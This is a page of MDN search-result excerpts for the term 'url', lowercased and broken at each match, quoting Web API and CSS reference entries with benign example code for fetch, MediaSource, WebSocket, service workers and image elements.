...getcontext('2d'); ctx.beginpath(); ctx.moveto(d / 2, 0); ctx.lineto(d, d); ctx.lineto(0, d); ctx.closepath(); ctx.fillstyle = 'yellow'; ctx.fill(); function blobcallback(iconname) { return function(b) { var a = document.createelement('a'); a.textcontent = 'download'; document.body.appendchild(a); a.style.display = 'block'; a.download = iconname + '.ico'; a.href = window.
url.createobject
url(b); } } canvas.toblob(blobcallback('passthisstring'), 'image/vnd.microsoft.icon', '-moz-parse-options:format=bmp;bpp=32'); save toblob to disk with os.file (chrome/add-on context only) this technique saves it to the desktop and is only useful in firefox chrome context or add-on code as os apis are not present on web sites.
HTMLFormElement.enctype - Web APIs
possible values are: application/x-www-form-
urlencoded: the initial default type.
... syntax var string = form.enctype; form.enctype = string; example form.enctype = 'application/x-www-form-
urlencoded'; specifications specification status comment html living standardthe definition of 'htmlformelement: enctype' in that specification.
HTMLHyperlinkElementUtils.hash - Web APIs
the htmlhyperlinkelementutils.hash property returns a usvstring containing a '#' followed by the fragment identifier of the
url.
...if the
url does not have a fragment identifier, this property contains an empty string, "".
HTMLHyperlinkElementUtils.port - Web APIs
the htmlhyperlinkelementutils.port property is a usvstring containing the port number of the
url.
... if the
url does not contain an explicit port number, it will be set to ''.
HTMLImageElement.crossOrigin - Web APIs
const image
url = "https://mdn.mozillademos.org/files/16797/clock-demo-400px.png"; const container = document.queryselector(".container"); function loadimage(
url) { const image = new image(200, 200); image.addeventlistener("load", () => container.prepend(image) ); image.addeventlistener("error", () => { const errmsg = document.createelement("output"); errmsg.value = `error loading image at ...
...${
url}`; container.append(errmsg); }); image.crossorigin = "anonymous"; image.alt = ""; image.src =
url; } loadimage(image
url); html <div class="container"> <p>here's a paragraph.
HTMLImageElement.currentSrc - Web APIs
the read-only htmlimageelement property currentsrc indicates the
url of the image which is currently presented in the <img> element it represents.
... syntax let currentsource = htmlimageelement.currentsrc; value a usvstring indicating the full
url of the image currently visible in the <img> element represented by the htmlimageelement.
HTMLImageElement.longDesc - Web APIs
the obsolete property longdesc on the htmlimageelement interface specifies the
url of a text or html file which contains a long-form description of the image.
... syntax desc
url = htmlimageelement.longdesc; htmlimageelement.longdesc = desc
url; value a domstring which may be either an empty string (indicating that no long description is available) or the
url of a file containing a long form description of the image's contents.
HTMLImageElement.lowSrc - Web APIs
the htmlimageelement interface's obsolete lowsrc property can be used to specify the
url of a reduced-quality or otherwise faster-loading version of the image specified by the src property.
... syntax htmlimageelement.lowsrc = image
url; image
url = htmlimageelement.lowsrc; value a domstring specifying the
url of a version of the image specified by src which has been modified in some fashion so that it loads significantly more quickly than the primary image.
HTMLImageElement.src - Web APIs
syntax htmlimageelement.src = newsource; let src = htmlimageelement.src; value when providing only a single image, rather than a set of images from which the browser selects the best match for the viewport size and display pixel density, the src attribute is a usvstring specifying the
url of the desired image.
... if you use the srcset content attribute to provide multiple image options for different display pixel densities, the
url specified by the src attribute is used in one of two ways: as a fallback for browsers that don't support srcset.
HTMLMediaElement.currentSrc - Web APIs
the htmlmediaelement.currentsrc property contains the absolute
url of the chosen media resource.
... syntax var media
url = audioobject.currentsrc; value a domstring object containing the absolute
url of the chosen media source; this may be an empty string if networkstate is empty; otherwise, it will be one of the resources listed by the htmlsourceelement contained within the media element, or the value or src if no <source> element is provided.
HTMLMediaElement - Web APIs
htmlmediaelement.currentsrc read only returns a domstring with the absolute
url of the chosen media resource.
... htmlmediaelement.src is a domstring that reflects the src html attribute, which contains the
url of a media resource to use.
HTMLSourceElement - Web APIs
htmlsourceelement.sizes is a domstring representing image sizes between breakpoints htmlsourceelement.src is a domstring reflecting the src html attribute, containing the
url for the media resource.
...a candidate image is a
url followed by a 'w' with the width of the images, or an 'x' followed by the pixel density.
HTMLTrackElement.src - Web APIs
the htmltrackelement.src property reflects the value of the <track> element's src attribute, which indicates the
url of the text track's data.
... syntax var texttrack
url = htmltrackelement.src; value a domstring object containing the
url of the text track data.
Dragging and Dropping Multiple Items - Web APIs
for example: var dt = event.datatransfer; dt.mozsetdataat("text/uri-list", "
url1", 0); dt.mozsetdataat("text/plain", "
url1", 0); dt.mozsetdataat("text/uri-list", "
url2", 1); dt.mozsetdataat("text/plain", "
url2", 1); dt.mozsetdataat("text/uri-list", "
url3", 2); dt.mozsetdataat("text/plain", "
url3", 2); // [item1] data=
url1, index=0 // [item2] data=
url2, index=1 // [item3] data=
url3, index=2 after you added three items in two different formats, dt.mozcleardataat("t...
... // [item1] data=
url1, index=0 // [item2] data=
url3, index=1 fortunately, you don't normally need to clear items often; it's more common to just add the items only when you know they are needed.
InstallEvent - Web APIs
var cache_version = 1; var current_caches = { prefetch: 'prefetch-cache-v' + cache_version }; self.addeventlistener('install', function(event) { var
urlstoprefetch = [ './static/pre_fetched.txt', './static/pre_fetched.html', 'https://www.chromium.org/_/rsrc/1302286216006/config/customlogo.gif' ]; console.log('handling install event.
... resources to pre-fetch:',
urlstoprefetch); event.waituntil( caches.open(current_caches['prefetch']).then(function(cache) { return cache.addall(
urlstoprefetch.map(function(
urltoprefetch) { return new request(
urltoprefetch, {mode: 'no-cors'}); })).then(function() { console.log('all resources have been fetched and cached.'); }); }).catch(function(error) { console.error('pre-fetching failed:', error); }) ); }); specifications specification status comment service workers working draft as of may 2015, the install event is an instance of extendableevent rather than a child of it.
installChrome - Web APIs
method of installtrigger object syntax int installchrome( type,
url, name ) parameters the installchrome method has the following parameters: type type can be installtrigger.skin or installtrigger.locale.
...
url url is a string containing a full or relative
url to download name name is displayed in the dialog, but is also used to *select* the theme somust match exactly the name in the internal manifest.rdf file.
Location: hash - Web APIs
the hash property of the location interface returns a usvstring containing a '#' followed by the fragment identifier of the
url.
...if the
url does not have a fragment identifier, this property contains an empty string, "".
Location: href - Web APIs
the href property of the location interface is a stringifier that returns a usvstring containing the whole
url, and allows the href to be updated.
... setting the value of href navigates to the provided
url.
Location: port - Web APIs
the port property of the location interface is a usvstring containing the port number of the
url.
... if the
url does not contain an explicit port number, it will be set to ''.
MSSiteModeEvent - Web APIs
properties property description action
url gets the
url of a jump list item that is removed.
... example interface mssitemodeevent extends event { buttonid: number; action
url: string; } declare var mssitemodeevent: { prototype: mssitemodeevent; new(): mssitemodeevent; } see also microsoft api extensions ...
MediaRecorder: dataavailable event - Web APIs
var chunks = []; mediarecorder.addeventlistener('stop', (event) => { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audio
url = window.
url.createobject
url(blob); audio.src = audio
url; console.log("recorder stopped"); }); mediarecorder.addeventlistener('dataavailable', (event) => { chunks.push(event.data); }); ...
... var chunks = []; mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audio
url = window.
url.createobject
url(blob); audio.src = audio
url; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ...
MediaSource.addSourceBuffer() - Web APIs
example the following snippet is from a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var asset
url = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src =
url.createobject
url(mediasource); mediasource.ad...
...deventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'addsourcebuffer()' in that specification.
MediaSource.endOfStream() - Web APIs
their sourcebuffer.updating property is true.) example the following snippet is from a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var asset
url = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src =
url.createobject
url(mediasource); mediasource.ad...
...deventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'endofstream()' in that specification.
MediaSource.isTypeSupported() - Web APIs
example the following snippet is from an example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var asset
url = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src =
url.createobject
url(mediasource); mediasource.ad...
...deventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'istypesupported()' in that specification.
MediaSource - Web APIs
this example was written by nick desaulniers and can be viewed live here (you can also download the source for further investigation.) var video = document.queryselector('video'); var asset
url = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource(); //console.log(mediasource.readystate); // closed video.src =
url.createobject
url(mediasource); mediasource.
...addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; function fetchab (
url, cb) { console.log(
url); var xhr = new xmlhttprequest; xhr.open('get',
url); xhr.responsetype = 'arraybuffer'; xhr.onload = function () { cb(xhr.response); }; xhr.send(); }; specifications specification status c...
Recording a media element - Web APIs
review.srcobject = stream; downloadbutton.href = stream; preview.capturestream = preview.capturestream || preview.mozcapturestream; return new promise(resolve => preview.onplaying = resolve); }).then(() => startrecording(preview.capturestream(), recordingtimems)) .then (recordedchunks => { let recordedblob = new blob(recordedchunks, { type: "video/webm" }); recording.src =
url.createobject
url(recordedblob); downloadbutton.href = recording.src; downloadbutton.download = "recordedvideo.webm"; log("successfully recorded " + recordedblob.size + " bytes of " + recordedblob.type + " media."); }) .catch(log); }, false); when a click event occurs, here's what happens: lines 2-4 navigator.mediadevices.getusermedia() is called to request a new media...
...then
url.createobject
url() is used to create an
url that references the blob; this is then made the value of the recorded video playback element's src attribute (so that you can play the video from the blob) as well as the target of the download button's link.
MerchantValidationEvent() - Web APIs
validation
url optional the
url from which to retrieve payment handler specific verification information used to validate the merchant.
... exceptions typeerror the string specified as validation
url could not be parsed as a
url.
Node.baseURIObject - Web APIs
the node.baseuriobject property returns the nsiuri representing the node's (typically a document or an element) base
url.
... see node.baseuri for details on what the base
url is.
Notification.badge - Web APIs
the badge property of the notification interface returns the
url of the image used to represent the notification when there is not enough space to display the notification itself.
... syntax var
url = notification.badge value a usvstring containing a
url.
PasswordCredential.additionalData - Web APIs
the additionaldata property of the passwordcredential interface takes one of a formdata instance, a
urlsearchparams instance, or null.
... syntax passwordcredential.additionaldata = formdata formdata = passwordcredential.additionaldata passwordcredential.additionaldata =
urlsearchparams ulrsearchparams = passwordcredential.additionaldata value one of a formdata instance, a
urlsearchparams instance, or null.
PaymentRequestEvent.openWindow() - Web APIs
the openwindow property of the paymentrequestevent interface opens the specified
url in a new window, if and only if the given
url is on the same origin as the calling page.
... syntax var apromise = paymentrequestevent.openwindow(
url) parameters
url the
url to open in the new window.
PaymentResponse.methodName - Web APIs
this string may be either one of the standardized payment method identifiers or a
url used by the payment handler to process payments.
...this may be either a standardized identifier, or a
url used by the payment processor to handle payments.
PerformanceEntry.entryType - Web APIs
performance entry type names value subtype type of name property description of name property frame, navigation performanceframetiming, performancenavigationtiming
url the document's address.
... resource performanceresourcetiming
url the resolved
url of the requested resource.
PerformanceEntry.name - Web APIs
value subtype entrytype values description
url performanceframetiming, performancenavigationtiming frame, navigation the document's address.
...
url performanceresourcetiming resource the resolved
url of the requested resource.
PublicKeyCredential.id - Web APIs
this property is a base64
url encoded version of publickeycredential.rawid.
... syntax id = publickeycredential.id value a domstring being the base64
url encoded version of publickeycredential.rawid.
PushManager.register() - Web APIs
if the method call is successful, the request's result will be a string, which is the endpoint
url.
... note: if you do not need the
url any more, please use pushmanager.unregister() to clean up after yourself.
RTCConfiguration - Web APIs
the second server has two
urls: stun:stun.example.com and stun:stun-1.example.com.
... var configuration = { iceservers: [{
urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, {
urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc = new rtcpeerconnection(configuration); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration' in that specification.
RTCIceCandidateStats - Web APIs
url optional for local candidates, the
url property is the
url of the ice server from which the candidate was received.
... this
url matches the one included in the rtcpeerconnectioniceevent object representing the icecandidate event that delivered the candidate to the local peer.
RTCPeerConnectionIceErrorEvent - Web APIs
the 701 error is fired only once per server
url, and only while the is icegatheringstate is gathering.
...
url read only a domstring indicating the
url of the stun or turn server with which the error occurred.
ReadableStreamDefaultReader.read() - Web APIs
async function* maketextfilelineiterator(file
url) { const utf8decoder = new textdecoder("utf-8"); let response = await fetch(file
url); let reader = response.body.getreader(); let {value: chunk, done: readerdone} = await reader.read(); chunk = chunk ?
...utf8decoder.decode(chunk) : ""); startindex = re.lastindex = 0; continue; } yield chunk.substring(startindex, result.index); startindex = re.lastindex; } if (startindex < chunk.length) { // last line didn't end in a newline char yield chunk.substr(startindex); } } for await (let line of maketextfilelineiterator(
urloffile)) { processline(line); } specifications specification status comment streamsthe definition of 'read()' in that specification.
Reporting API - Web APIs
origins and endpoints each unique origin you want to retrieve reports for can be given a series of endpoints, which are
urls that can receive given reports from a user agent.
...you can then retrieve reports by making a request to those
urls.
Response.clone() - Web APIs
when the fetch resolves successfully, we clone it, extract a blob from both responses using two body.blob calls, create object
urls out of the blobs using
url.createobject
url, and display them in two separate <img> elements.
... var image1 = document.queryselector('.img1'); var image2 = document.queryselector('.img2'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { var response2 = response.clone(); response.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); image1.src = object
url; }); response2.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); image2.src = object
url; }); }); specifications specification status comment fetchthe definition of 'clone()' in that specification.
Response.headers - Web APIs
we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object
url out of it using
url.createobject
url, and display this in an <img>.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.headers); // returns a headers{} object response.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); myimage.src = object
url; }); }); specifications specification status comment fetchthe definition of 'headers' in that specification.
Response.ok - Web APIs
we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object
url out of it using
url.createobject
url, and display this in an <img>.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.ok); // returns true if the response returned successfully response.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); myimage.src = object
url; }); }); specifications specification status comment fetchthe definition of 'ok' in that specification.
Response.redirected - Web APIs
fetch("awesome-picture.jpg").then(function(response) { let elem = document.getelementbyid("warning-message-box"); if (response.redirected) { elem.innerhtml = "unexpected redirect"; } else { elem.innerhtml = ""; } return response.blob(); }).then(function(imageblob) { let imgobject
url =
url.createobject
url(imageblob); document.getelementbyid("img-element-id").src = imgobject
url; }); disallowing redirects because using redirected to manually filter out redirects can allow forgery of redirects, you should instead set the redirect mode to "error" in the init parameter when calling fetch(), like this: fetch("awesome-picture.jpg", { redirect: "error" }).then(function(response...
...) { return response.blob(); }).then(function(imageblob) { let imgobject
url =
url.createobject
url(imageblob); document.getelementbyid("img-element-id").src = imgobject
url; }); specifications specification status comment fetchthe definition of 'redirected' in that specification.
Response.status - Web APIs
we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object
url out of it using
url.createobject
url, and display this in an <img>.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.status); // returns 200 response.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); myimage.src = object
url; }); }); specifications specification status comment fetchthe definition of 'status' in that specification.
Response.statusText - Web APIs
we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object
url out of it using
url.createobject
url, and display this in an <img>.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.statustext); // returns "ok" if the response returned successfully response.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); myimage.src = object
url; }); }); specifications specification status comment fetchthe definition of 'statustext' in that specification.
Response.type - Web APIs
we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object
url out of it using
url.createobject
url, and display this in an <img>.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.type); // returns basic by default response.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); myimage.src = object
url; }); }); specifications specification status comment fetchthe definition of 'type' in that specification.
SVGDocument - Web APIs
interface overview also implement none methods none properties domstring domain domstring referrer svgsvgelement rootelement domstring title domstring
url normative document svg 1.1 (2nd edition) properties name type description domain domstring the domain name of the server that served the document, or a null string if the serv...
... title domstring the title of a document as specified by the "title" sub-element of the "svg" root element (i.e., <svg><title>here is the title</title>...</svg>)
url domstring the complete uri of the document.
Using server-sent events - Web APIs
receiving events from the server the server-sent event api is contained in the eventsource interface; to open a connection to the server to begin receiving events from it, create a new eventsource object with the
url of a script that generates the events.
... for example: const evtsource = new eventsource("ssedemo.php"); if the event generator script is hosted on a different origin, a new eventsource object should be created with both the
url and an options dictionary.
ServiceWorker - Web APIs
serviceworker.script
url read only returns the serviceworker serialized script
url defined as part of serviceworkerregistration.
... the
url must be on the same origin as the document that registers the serviceworker.
ServiceWorkerContainer - Web APIs
methods serviceworkercontainer.register() creates or updates a serviceworkerregistration for the given script
url.
... serviceworkercontainer.getregistration() gets a serviceworkerregistration object whose scope matches the provided document
url.
ServiceWorkerGlobalScope: notificationclick event - Web APIs
icationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.
url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); or use the onnotificationclick event handler property: self.onnotificationclick = function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open an...
...d // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.
url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }; specifications specification status notifications apithe definition of 'onnotificationclick' in that specification.
Service Worker API - Web APIs
if successful, your service worker will be downloaded to the client and attempt installation/activation (see below) for
urls accessed by the user inside the whole origin, or inside a subset specified by you.
... custom templating based on certain
url patterns.
SourceBuffer - Web APIs
this example was written by nick desaulniers and can be viewed live here (you can also download the source for further investigation.) var video = document.queryselector('video'); var asset
url = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource(); //console.log(mediasource.readystate); // closed video.src =
url.createobject
url(mediasource); mediasource.
...addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); } function fetchab (
url, cb) { console.log(
url); var xhr = new xmlhttprequest; xhr.open('get',
url); xhr.responsetype = 'arraybuffer'; xhr.onload = function () { cb(xhr.response); }; xhr.send(); } specifications specification status com...
ValidityState.patternMismatch - Web APIs
if the field supports the pattern attribute -- which means the <input> is of type text, tel, email,
url, password, or search -- and the pattern value is set to a valid regular expression, if the value don't doesn't conform to the constraints set by the pattern value, the patternmismatch property will be true.
... note: the email input type requires, at minimum, a match of x@y and the
url type requires, at minimum, a match to x:, with no pattern attribute present.
Animating textures in WebGL - Web APIs
getting access to the video the first step is to create the <video> element that we'll use to retrieve the video frames: // will set to true when video can be copied to texture var copyvideo = false; function setupvideo(
url) { const video = document.createelement('video'); var playing = false; var timeupdate = false; video.autoplay = true; video.muted = true; video.loop = true; // waiting for these 2 events ensures // there is data in the video video.addeventlistener('playing', function() { playing = true; checkready(); }, true); video.addeventlistener('timeupdate', function() { ...
... timeupdate = true; checkready(); }, true); video.src =
url; video.play(); function checkready() { if (playing && timeupdate) { copyvideo = true; } } return video; } first we create a video element.
Signaling and video calling - Web APIs
{
urls: "stun:stun.stunprotocol.org" } ] }); mypeerconnection.onicecandidate = handleicecandidateevent; mypeerconnection.ontrack = handletrackevent; mypeerconnection.onnegotiationneeded = handlenegotiationneededevent; mypeerconnection.onremovetrack = handleremovetrackevent; mypeerconnection.oniceconnectionstatechange = handleiceconnectionstatechangeevent; mypeerconnection.o...
... each object in iceservers contains at least a
urls field providing
urls at which the specified server can be reached.
WebSocket() - Web APIs
syntax var awebsocket = new websocket(
url [, protocols]); parameters
url the
url to which to connect; this should be the
url to which the websocket server will respond.
... syntaxerror the
url is invalid.
WebSocket - Web APIs
constructor websocket(
url[, protocols]) returns a newly created websocket object.
... websocket.
url read only the absolute
url of the websocket.
Writing WebSocket client applications - Web APIs
the websocket constructor accepts one required and one optional parameter: websocket = new websocket(
url, protocols);
url the
url to which to connect; this should be the
url to which the websocket server will respond.
... this should use the
url scheme wss://, although some software may allow you to use the insecure ws:// for local connections.
Using the Web Speech API - Web APIs
to run the demo, you can clone (or directly download) the github repo it is part of, open the html index file in a supporting desktop browser, or navigate to the live demo
url in a supporting mobile browser like chrome.
... to run the demo, you can clone (or directly download) the github repo it is part of, open the html index file in a supporting desktop browser, or navigate to the live demo
url in a supporting mobile browser like chrome, or firefox os.
Using the Web Storage API - Web APIs
on the events page (see events.js) the only javascript is as follows: window.addeventlistener('storage', function(e) { document.queryselector('.my-key').textcontent = e.key; document.queryselector('.my-old').textcontent = e.oldvalue; document.queryselector('.my-new').textcontent = e.newvalue; document.queryselector('.my-
url').textcontent = e.
url; document.queryselector('.my-storage').textcontent = json.stringify(e.storagearea); }); here we add an event listener to the window object that fires when the storage object associated with the current origin is changed.
... as you can see above, the event object associated with this event has a number of properties containing useful information — the key of the data that changed, the old value before the change, the new value after that change, the
url of the document that changed the storage, and the storage object itself (which we've stringified so you can see its content).
Window.closed - Web APIs
examples change the
url of a window from a popup the following example demonstrates how a popup window can change the
url of the window that opened it.
... before attempting to change the
url, it checks that the current window has an opener using the window.opener property and that the opener isn't closed: // check that an opener exists and is not closed if (window.opener && !window.opener.closed) { window.opener.location.href = 'http://www.mozilla.org'; } note that popups can only access the window that opened them.
Window.history - Web APIs
for security reasons the history object doesn't allow the non-privileged code to access the
urls of other pages in the session history, but it does allow it to navigate the session history.
...the closest available solution is the location.replace() method, which replaces the current item of the session history with the provided
url.
window.postMessage() - Web APIs
the value of the origin property when the sending window contains a javascript: or data:
url is the origin of the script that loaded the
url.
... lastly, posting a message to a page at a file:
url currently requires that the targetorigin argument be "*".
WindowClient.navigate() - Web APIs
the navigate() method of the windowclient interface loads a specified
url into a controlled client page then returns a promise that resolves to the existing windowclient.
... syntax windowclient.navigate(
url).then(function(windowclient) { // do something with your windowclient after navigation }); parameters
url the location to navigate to.
WindowClient - Web APIs
windowclient.navigate() loads a specified
url into a controlled client page.
...icationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.
url == '/' && 'focus' in client) { client.focus(); break; } } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'windowclient' in that specification.
Worker - Web APIs
constructors worker() creates a dedicated web worker that executes the script at the specified
url.
... this also works for blob
urls.
XMLHttpRequest.send() - Web APIs
an xmlhttprequestbodyinit, which per the fetch spec can be a blob, buffersource, formdata,
urlsearchparams, or usvstring object.
...}; xhr.send(null); // xhr.send('string'); // xhr.send(new blob()); // xhr.send(new int8array()); // xhr.send(document); example: post var xhr = new xmlhttprequest(); xhr.open("post", '/server', true); //send the proper header information along with the request xhr.setrequestheader("content-type", "application/x-www-form-
urlencoded"); xhr.onreadystatechange = function() { // call a function when the state changes.
XMLHttpRequest - Web APIs
you can retrieve data from a
url without having to do a full page refresh.
... xmlhttprequest.response
url read only returns the serialized
url of the response or the empty string if the
url is null.
Web APIs
apture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttouch eventsu
url apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api interfaces this is a list of all the interfaces (that is, types of objects) that are available.
...opertymapreadonly stylesheet stylesheetlist submitevent subtlecrypto syncevent syncmanager t taskattributiontiming text textdecoder textencoder textmetrics textrange texttrack texttrackcue texttracklist timeevent timeranges touch touchevent touchlist trackdefault trackdefaultlist trackevent transferable transformstream transitionevent treewalker typeinfo u uievent ulongrange
url urlsearchparams
urlutilsreadonly usb usbalternateinterface usbconfiguration usbdevice usbendpoint usbintransferresult usbinterface usbisochronousintransferpacket usbisochronousintransferresult usbisochronousouttransferpacket usbisochronousouttransferresult usbouttransferresult usvstring userdatahandler userproximityevent v vttcue vttregion validitystate videoconfiguration ...
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
try to use unique names for each item in a dialog so that voice dictation software doesn't have to deal with extra ambiguity.[important] get_accvalue: get the "value" of the iaccessible, for example a number in a slider, a
url for a link, the text a user entered in a field.
...use accessible name for most text equivalents, and accessible value for
url's.
-webkit-box-reflect - CSS: Cascading Style Sheets
<image>?where <image> = <
url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <
url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
negative - CSS: Cascading Style Sheets
formal definition related at-rule@counter-styleinitial value"-" hyphen-minuscomputed valueas specified formal syntax <symbol> <symbol>?where <symbol> = <string> | <image> | <custom-ident>where <image> = <
url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <
url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
pad - CSS: Cascading Style Sheets
formal definition related at-rule@counter-styleinitial value0 ""computed valueas specified formal syntax <integer> && <symbol>where <symbol> = <string> | <image> | <custom-ident>where <image> = <
url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <
